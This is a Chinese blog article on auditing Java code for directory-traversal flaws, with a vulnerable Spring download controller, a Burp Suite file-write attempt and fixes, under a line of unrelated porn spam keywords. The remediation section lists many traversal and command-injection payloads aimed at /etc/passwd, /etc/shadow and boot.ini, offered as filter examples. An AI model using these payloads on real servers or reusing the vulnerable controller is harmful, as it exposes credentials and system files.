亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

java代碼審計之目錄遍歷的解決

 更新時間:2024年06月23日 09:44:27   作者:樂隊1  
目錄穿越漏洞,也叫做目錄遍歷/路徑遍歷漏洞,本文主要介紹了java代碼審計之目錄遍歷的解決,文中通過案例介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧

1 原理介紹

通過用戶輸入,后端接收到參數(shù)直接拼接到指定路徑下讀取用戶指定的文件名,看似正常,但實際用戶輸入的參數(shù)不可控,黑客將非法的特殊字符作為文件名的一部分,操作到其他路徑下,甚至是跳轉(zhuǎn)到服務(wù)器敏感目錄,讀取敏感的配置文件,例如服務(wù)器的密碼文件,程序的數(shù)據(jù)庫,redie等核心配置文件,因此具有一定的風(fēng)險性。

2 審計案例1

用戶通過form表單輸入文件名稱,通過源碼逐層未對該文件名進(jìn)行非法字符的過濾與處理,導(dǎo)致任意

文件讀?。夸洷闅v)漏洞的產(chǎn)生。

(1)正常的用戶行為是輸入要讀取的合法文件

(2)黑客利用未過濾文件名或目錄的漏洞讀取了其他目錄下的資源文件

通過遍歷該目錄或上級路徑下的其他文件,例如

3 審計案例2

1、當(dāng)輸入文件名為../1.txt(上次目錄需要存在),不存在一直../知道存在位置

2、提交之后發(fā)現(xiàn)成功下載到當(dāng)前目錄外的目錄文件

3、源碼分析

通過用戶輸入文件名之后,后端直接接收了文件名拼接到需要讀取的路徑下,進(jìn)而讀取了文件,未對來自前端用戶輸入的文件名稱針對非法字符過濾

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form action="/file1/directroyTranersal02" method="get">
<input type="text" name="filename"/>
<input type="submit" value="uploaddown"/>
</form>
</body>
</html>
//目錄遍歷2
    @GetMapping("/directroyTranersal02")
    public void directoryTraversal02(HttpServletRequest request, HttpServletResponse response) throws IOException {
        //獲取項目部署絕對路徑下的upload文件夾路徑,下載upload目錄下面的文件
//        String root = request.getServletContext().getRealPath("/upload");
        String root = "D:\\20230222files";
        //獲取文件名
        String filename = request.getParameter("filename");
        File file = new File(root + "/" + filename);
        //根據(jù)文件路徑創(chuàng)建輸入流
        FileInputStream fis = new FileInputStream(file);
        //設(shè)置響應(yīng)頭,彈出下載框
        response.addHeader("Content-Disposition", "attachment;filename=" + new String(filename.getBytes()));
        response.addHeader("Content-Length", "" + file.length());
        byte[] b = new byte[fis.available()];
        fis.read(b);
        response.getOutputStream().write(b);
    }

通過源碼分析,獲取到文件名中含有../,當(dāng)執(zhí)行下載邏輯的時,file類底層將會訪問該路徑讀取資源

如同人工通過瀏覽器讀取文件E:\java_project\FileUpload\src\main\webapp\upload..\1.txt

4 審計案例3-任意的文件寫入

保存模板的后端程序用到dirs字段數(shù)據(jù),猜測此字段輸入數(shù)據(jù)可控來進(jìn)行文件路徑的重新定位且沒有字符串進(jìn)行過濾驗證以及擴(kuò)展名也沒有任何限制

隨后對該API請求的路徑以及數(shù)據(jù)流進(jìn)行追蹤,發(fā)現(xiàn)依然是模板新增或編輯頁面為用戶輸入的關(guān)鍵位置。

1、打開模板目錄下的,對404.html進(jìn)行提交

2、burpsuit抓包之后修改請求,將dirs的制前邊添加..%2F..%2F..%2F,修改文件名后綴為.jsp,同時也可以在file_content添加payload

但是不知什么原因沒有成功

5 修復(fù)方案

1、 凈化數(shù)據(jù):對用戶傳過來的文件名參數(shù)進(jìn)行硬編碼或統(tǒng)一編碼,對文件類型進(jìn)行白名單控制,對包含惡意字符或者空字符的參數(shù)進(jìn)行拒絕。

主要的惡意字符包括不局限于如

..
..\
../
%2e%2e%2f which translates to ../
%2e%2e/ which translates to ../
..%2f which translates to ../
%2e%2e%5c which translates to ..\
%c1%1c
%c0%9v
 %c0%af
..%5c../
../../../../../../../../../../../../etc/hosts%00
../../../../../../../../../../../../etc/hosts
../../boot.ini
/../../../../../../../../%2A
../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../etc/shadow%00
../../../../../../../../../../../../etc/shadow20 /../../../../../../../../../../etc/passwd^^
/../../../../../../../../../../etc/shadow^^
/../../../../../../../../../../etc/passwd
/../../../../../../../../../../etc/shadow
/./././././././././././etc/passwd
/./././././././././././etc/shadow
\..\..\..\..\..\..\..\..\..\..\etc\passwd
\..\..\..\..\..\..\..\..\..\..\etc\shadow
..\..\..\..\..\..\..\..\..\..\etc\passwd
..\..\..\..\..\..\..\..\..\..\etc\shadow
/..\../..\../..\../..\../..\../..\../etc/passwd
/..\../..\../..\../..\../..\../..\../etc/shadow
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/shadow
\..\..\..\..\..\..\..\..\..\..\etc\passwd%00
\..\..\..\..\..\..\..\..\..\..\etc\shadow%00
..\..\..\..\..\..\..\..\..\..\etc\passwd%00
..\..\..\..\..\..\..\..\..\..\etc\shadow%00
%0a/bin/cat%20/etc/passwd
%0a/bin/cat%20/etc/shadow
%00/etc/passwd%00
%00/etc/shadow%00
%00../../../../../../etc/passwd
%00../../../../../../etc/shadow
/../../../../../../../../../../../etc/passwd%00.jpg
/../../../../../../../../../../../etc/passwd%00.html
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c.
.%25%5c..%25%5c..%25%5c..%00
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c
..%25%5c..%25%5c..%25%5c..%00
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c.
.%25%5c..% 25%5c..%25%5c..%00
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c.
.%25%5c..% 25%5c..%25%5c..%255cboot.ini
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c
..%25%5c..%25%5c..%25%5c..winnt/desktop.ini
\\&apos;/bin/cat%20/etc/passwd\\&apos;
\\&apos;/bin/cat%20/etc/shadow\\&apos;
../../../../../../../../conf/server.xml
/../../../../../../../../bin/id|
C:/inetpub/wwwroot/global.asa
C:\inetpub\wwwroot\global.asa
C:/boot.ini
C:\boot.ini
../../../../../../../../../../../../localstart.asp%00
../../../../../../../../../../../../localstart.asp
../../../../../../../../../../../../boot.ini%00
../../../../../../../../../../../../boot.ini
/./././././././././././boot.ini
/../../../../../../../../../../../boot.ini%00
/../../../../../../../../../../../boot.ini
/..\../..\../..\../..\../..\../..\../boot.ini
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
\..\..\..\..\..\..\..\..\..\..\boot.ini
..\..\..\..\..\..\..\..\..\..\boot.ini%00
..\..\..\..\..\..\..\..\..\..\boot.ini
/../../../../../../../../../../../boot.ini%00.html
/../../../../../../../../../../../boot.ini%00.jpg
/.../.../.../.../.../
..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini

2、 web應(yīng)用程序可以使用chroot環(huán)境包含被訪問的web目錄,或者使用絕對路徑+參數(shù)來訪問文件目錄,時使其即使越權(quán)也在訪問目錄之內(nèi)。www目錄就是一個chroot應(yīng)用. 由chroot創(chuàng)造出的那個根目錄,叫做“chroot監(jiān)獄”(所謂"監(jiān)獄"就是指通過chroot機(jī)制來更改某個進(jìn)程所能看到的根目錄,即將某進(jìn)程限制在指定目錄中,保證該進(jìn)程只能對該目錄及其子目錄的文件有所動作,從而保證整個服務(wù)器的安全,詳細(xì)具體chroot的用法,可參考:chroot用法詳解

3、 任意文件下載漏洞也有可能是web所采用的中間件的版本低而導(dǎo)致問題的產(chǎn)生,例如ibm的

websphere的任意文件下載漏洞,需更新其中間件的版本可修復(fù)。

4、 要下載的文件地址保存至數(shù)據(jù)庫中。

5、 文件路徑保存至數(shù)據(jù)庫,讓用戶提交文件對應(yīng)ID下載文件。

6、 用戶下載文件之前需要進(jìn)行權(quán)限判斷。

7、 文件放在web無法直接訪問的目錄下。

8、 不允許提供目錄遍歷服務(wù)。

9、 公開文件可放置在web應(yīng)用程序下載目錄中通過鏈接進(jìn)行下載。

到此這篇關(guān)于java代碼審計之目錄遍歷的解決的文章就介紹到這了,更多相關(guān)java代碼審計目錄遍歷內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • 基于Mock測試Spring MVC接口過程解析

    基于Mock測試Spring MVC接口過程解析

    這篇文章主要介紹了基于Mock測試Spring MVC接口過程解析,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下
    2020-11-11
  • Spring-Security實現(xiàn)登錄接口流程

    Spring-Security實現(xiàn)登錄接口流程

    Security?是?Spring?家族中的一個安全管理框架,SpringSecurity的原理其實就是一個過濾器鏈,內(nèi)部包含了提供各種功能的過濾器,這篇文章主要介紹了Spring-Security實現(xiàn)登錄接口,需要的朋友可以參考下
    2023-05-05
  • java集合類HashMap源碼解析

    java集合類HashMap源碼解析

    這篇文章主要介紹了Java集合之HashMap用法,結(jié)合實例形式分析了java map集合中HashMap定義、遍歷等相關(guān)操作技巧,需要的朋友可以參考下
    2021-06-06
  • Springboot如何實現(xiàn)代理服務(wù)器

    Springboot如何實現(xiàn)代理服務(wù)器

    這篇文章主要介紹了Springboot如何實現(xiàn)代理服務(wù)器問題,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2023-06-06
  • Java 實現(xiàn)多線程切換等待喚醒交替打印奇偶數(shù)

    Java 實現(xiàn)多線程切換等待喚醒交替打印奇偶數(shù)

    這篇文章主要介紹了Java 實現(xiàn)多線程切換等待喚醒交替打印奇偶數(shù) ,本文通過實例代碼給大家介紹的非常詳細(xì),具有一定的參考借鑒價值,需要的朋友可以參考下
    2019-05-05
  • Spring Boot定時器創(chuàng)建及使用解析

    Spring Boot定時器創(chuàng)建及使用解析

    這篇文章主要介紹了Spring Boot定時器創(chuàng)建及使用解析,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下
    2020-07-07
  • J2EE Servlet上傳文件到服務(wù)器并相應(yīng)顯示功能的實現(xiàn)代碼

    J2EE Servlet上傳文件到服務(wù)器并相應(yīng)顯示功能的實現(xiàn)代碼

    這篇文章主要介紹了J2EE Servlet上傳文件到服務(wù)器,并相應(yīng)顯示,在文中上傳方式使用的是post不能使用get,具體實例代碼大家參考下本文
    2018-07-07
  • springboot之自動裝配全過程

    springboot之自動裝配全過程

    這篇文章主要介紹了springboot之自動裝配全過程,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
    2024-08-08
  • java?JVM方法分派模型靜態(tài)分派動態(tài)分派全面講解

    java?JVM方法分派模型靜態(tài)分派動態(tài)分派全面講解

    這篇文章主要為大家介紹了java?JVM方法分派模型靜態(tài)分派動態(tài)分派全面講解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2022-06-06
  • Swagger3.0 整合spring boot2.7x避免swagger2.0與boot2.7沖突問題

    Swagger3.0 整合spring boot2.7x避免swagger2.0與boot2.7沖突

    這篇文章主要介紹了Swagger3.0 整合spring boot2.7x避免swagger2.0與boot2.7沖突問題,通過注釋掉2.0引入的倆包,直接引入3.0,文中結(jié)合實例代碼給大家介紹的非常詳細(xì),需要的朋友參考下吧
    2023-10-10

最新評論